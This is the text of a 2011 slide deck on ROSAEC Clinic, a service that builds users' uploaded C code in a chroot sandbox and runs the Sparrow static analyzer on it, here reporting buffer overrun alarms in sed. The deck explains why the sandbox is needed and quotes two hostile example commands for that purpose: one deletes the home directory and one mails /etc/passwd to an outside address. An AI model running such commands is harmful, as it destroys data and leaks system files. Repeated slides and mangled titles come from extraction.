ROSAEC Clinic* Internals

Jaeho Shin

ROPAS Show&Tell
2011-01-14

* Joint work with Sungkeun Cho, Kihong Heo, Jisoo Jung, Jinyoung Kim, Seungjoon Lee, Woosuk Lee, and Hakjoo Oh
Contents

1. Tour
2. Design and Implementation
3. Preprocessing Issues & Ideas
Tour
ROSAEC Clinic Service

From User’s Point of View
ROSAEC Clinic Service

From User’s Point of View
소스코드가 접수되었습니다.

이제 접수하신 메일주소로 발송된 의뢰신청서를 확인하시고 제출해주시기 바랍니다.
ROSAECC Clinic Service

From User’s Point of View
ROSAEC Clinic Service

From User’s Point of View
ROSAECA Clinic Service

From User’s Point of View
ROSAEC Clinic Dashboard

From Our Point of View
ROSAEC Clinic Dashboard

From Our Point of View
ROSAECE Clinic Dashboard

From Our Point of View
ROSAEC Clinic Dashboard

Issue Details

- Issue id: b226ae368e2d8d676cd4f43571e3943474447e50
- Submitted by netj@ropas.snu.ac.kr
- Issue created at 2011-01-13T10:47:53+09:00
- Last updated at 2011-01-13T11:04:21+09:00
- History
  - 2011-01-13T11:04:21+09:00: analyzing
  - 2011-01-13T11:03:50+09:00: preprocessing
  - 2011-01-13T10:51:32+09:00: approving
  - 2011-01-13T10:51:31+09:00: confirmed
  - 2011-01-13T10:47:54+09:00: received
  - 2011-01-13T10:47:53+09:00: new

Actions

Abort
ROSAECE Clinic Dashboard

From Our Point of View
**ROSAEAC Clinic Dashboard**

From Our Point of View

**Issue Details**

- **Issue Id:** b226ae368e2d8d676cd4f43571e3943474447e50
- **Submitted by:** net@ropas.snu.ac.kr
- **Issue created at:** 2011-01-13T10:47:53+09:00
- **Last updated at:** 2011-01-13T11:33:53+09:00
- **History**
  - 2011-01-13T11:13:53+09:00: classifying
  - 2011-01-13T11:13:52+09:00: analyzed
  - 2011-01-13T11:13:52+09:00: pre-classifying
  - 2011-01-13T11:04:21+09:00: analyzing
  - 2011-01-13T11:03:50+09:00: preprocessing
  - 2011-01-13T10:51:32+09:00: approving
  - 2011-01-13T10:51:31+09:00: confirmed
  - 2011-01-13T10:47:54+09:00: received
  - 2011-01-13T10:47:53+09:00: new

**Actions**

- Classify

**Files**

[New File] [Retry]
### Alarm Classification

- **Issue Id:** b226ae368e2d8d676cd4f43571e3943474447e50
- **Targets:** `/sed/sed`

### Buffer Overrun Alarms

<table>
<thead>
<tr>
<th>Path</th>
<th>Function</th>
<th>Line</th>
<th>Truth</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>/sandbox/build/sed-4.2.1/sed/fmt.c</code></td>
<td>get_paragraph</td>
<td>268</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/sed/fmt.c</code></td>
<td>get_paragraph</td>
<td>268</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/lib/regex.c</code></td>
<td>pop_fail_stack</td>
<td>1428</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/lib/regex.c</code></td>
<td>pop_fail_stack</td>
<td>1427</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/lib/regex.c</code></td>
<td>pop_fail_stack</td>
<td>1426</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/lib/regex.c</code></td>
<td>pop_fail_stack</td>
<td>1424</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/lib/regex.c</code></td>
<td>pop_fail_stack</td>
<td>1423</td>
<td>T</td>
</tr>
<tr>
<td><code>/sandbox/build/sed-4.2.1/lib/regex_internal.h</code></td>
<td>bitset_copy</td>
<td>774</td>
<td>T</td>
</tr>
</tbody>
</table>

From Our Point of View
## ROSAEC Clinic Dashboard

### From Our Point of View

<table>
<thead>
<tr>
<th>Path</th>
<th>Module</th>
<th>Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>re_search_internal</td>
<td>862</td>
</tr>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>re_search_internal</td>
<td>862</td>
</tr>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>re_search_internal</td>
<td>862</td>
</tr>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>re_search_internal</td>
<td>883</td>
</tr>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>set_regs</td>
<td>1470</td>
</tr>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>sift_states_backward</td>
<td>1647</td>
</tr>
<tr>
<td>/sandbox/build/sed-4.2.1/lib/regexec.c</td>
<td>transit_state_mb</td>
<td>2586</td>
</tr>
</tbody>
</table>
ROSAECA Clinic Service

From User’s Point of View
ROSAEC Clinic Service

From User’s Point of View
**ROSAECP Clinic Service**

**Analysis Report**

**Overview**

<table>
<thead>
<tr>
<th>No</th>
<th>Type</th>
<th>File</th>
<th>Function</th>
<th>Line</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regexexec.c</td>
<td>pop_fail_stack()</td>
<td>1428</td>
</tr>
<tr>
<td>2</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regexexec.c</td>
<td>pop_fail_stack()</td>
<td>1427</td>
</tr>
<tr>
<td>3</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regexexec.c</td>
<td>pop_fail_stack()</td>
<td>1426</td>
</tr>
<tr>
<td>4</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regexexec.c</td>
<td>pop_fail_stack()</td>
<td>1424</td>
</tr>
<tr>
<td>5</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regexexec.c</td>
<td>pop_fail_stack()</td>
<td>1423</td>
</tr>
<tr>
<td>6</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regex_internal.h</td>
<td>bitset_copy()</td>
<td>774</td>
</tr>
<tr>
<td>7</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regex_internal.h</td>
<td>bitset_set_all()</td>
<td>765</td>
</tr>
<tr>
<td>8</td>
<td>buffer overrun</td>
<td>sed-4.2.1/lib/regex_internal.h</td>
<td>bitset_empty()</td>
<td>759</td>
</tr>
<tr>
<td>9</td>
<td>memory leaks</td>
<td>sed-4.2.1/lib/regexexec.c</td>
<td>add_epsilon_src_nodes()</td>
<td>1860</td>
</tr>
</tbody>
</table>
From User’s Point of View

ROSAECE Clinic Service
Goal of ROSAEC Clinic

- To let the public experience static analysis technology
- To collect samples of erroneous code for better research
Design and Implementation
Overview

Web Interface
- public
- internal
- lighttpd
- php

Clinic Engine
- frontend
- analyzer
- classifier
- reporter
- Sparrow
- manager
- notification
- bash
- coreutils
- sandbox
- xsltproc
- php

Workspace
- Case
Structure for a Case

a unique directory for each analysis

Case

- **input**
  - sed-4.1.5.tar.gz

- **build**
  - sed-4.2.1

- **analysis**
  - sparrow
    - 1
      - .target
      - ...

- **alarms**
  - sparrow
    - 1.1
      - alarms.*
      - target

- **report**
  - index.html

- **log**
  - *.started
  - *.finished
  - *.output
Structure for Organizing Cases

Workspace

run
- new
- preprocessing
- analyzing
- classifying
- ...

archive
- 2010
- 2011
- ...

pool
- Case
- Case
- Case
- Case
- Case
- Case
- Case
- Case
- Case
- ...

etc

log
# run job for each queue

```
# run job for each queue
cd "$CLINIC_WORKSPACE"/run

process new : received  confirmed  clinic-notify issue-received issue-owner
           : process confirmed : approving : clinic-notify issue-submitted admin
           : process preprocessing : preprocessing : clinic-chstate preprocessing
           : process analyzing : preprocessing : clinic-chstate preprocessing
           : process analyzed : preprocessing : clinic-chstate preprocessing
           : process pre-classifying : preprocessing : clinic-chstate preprocessing
           : process pre-classifying : classifying : clinic-chstate preprocessing
           : process reporting : classifying : clinic-chstate preprocessing
           : process reported : classifying : clinic-chstate preprocessing
           : process finished : classifying : clinic-chstate preprocessing
           : process failed : classifying : clinic-chstate preprocessing
```

Analyzer Drivers

preprocess.\text{X} \quad \text{analyze.\text{X}} \quad \text{for each analyzer X}

Clinic Engine

Sparrow

frontend

analyzer
Analyzer Drivers

preprocess.X for each analyzer X
analyze.X

Clinic Engine

Sparrow

frontend

X

analyzer
Preprocessing
Issues & Ideas
Preprocess?

Source code
Preprocess?
Preprocess?

Build ➞

Source code

Bin
Static analyzers usually require pure C code as input
Pure C Extraction

Source code
Pure C Extraction

Source code

Source code
Pure C Extraction

Build ➞

Source code

Pure C code
Pure C Extraction

Build ➡

Source code

Pure C code

Bin
We currently observe the build process to get a copy of Pure C.
Security Issue

Since our service run builds,

Malicious commands uploaded by users can cause bad things

e.g.
- `rm -rf ~`
- `mail me@hac.kr <etc/passwd`
Sandbox for Builds

So, we perform builds in a sandbox* with chroot(2)

* a separate system created with debootstrap(8)
So, we perform builds in a sandbox* with chroot(2)
So, we perform builds in a sandbox* with chroot(2)

* a separate system created with debootstrap(8)
Sandbox for Builds

**ROSAEC Clinic Service system**

```
/bin   /usr/bin   /usr/include   /usr/share
/lib   /usr/lib
/etc
```

So, we perform builds in a **sandbox** with `chroot(2)`

* a separate system created with `debootstrap(8)"
Remaining Issues

Source code

Pure C code
Remaining Issues

GNU Make, Autotools, configure, CMake, SCons, Visual Studio, Xcode, ...

How should we build?

Source code

Pure C code
Remaining Issues

- GNU Make, Autotools, configure, CMake, SCons, Visual Studio, Xcode, ...
- How should we build?
- Have we got all the header files?
Remaining Issues

- Pure C code
- Source code
- External Library
- GNU Make, Autotools, configure, CMake, SCons, Visual Studio, Xcode, ...
- How should we build?
- Have we got all the header files?
- We can’t run analyzers unless user gives us full information
Idea 1

Provide our preprocessor, and let users collect the Pure C code themselves.
Exercise

a.c:

```c
int main(void) {
    int s = 0;
    for (int i=1; i<=10; i++)
        s += i;
    return s;
}
```

Will this compile with “gcc a.c”?
Exercise

$ gcc a.c
a.c: In function ‘main’:
a.c:3: error: ‘for’ loop initial declarations are only allowed in C99 mode
a.c:3: note: use option -std=c99 or -std=gnu99 to compile your code

No.
Idea 2

Recover trivial compile errors

e.g.

• -std=c99
• #include “X” where X exists somewhere
Idea 3

*.h names ⇐⇒ Debian *-dev packages

Index names of header files in popular open source libraries

and install them in sandbox before builds
Q&A + Discussion
Development

- **Git**
  
  ```
  git clone ropas.snu.ac.kr:~netj/2010/rosaec-clinic
  ```

- **Fully testable with local instance**
Remaining Work

- Feedback System & UI
- Better Report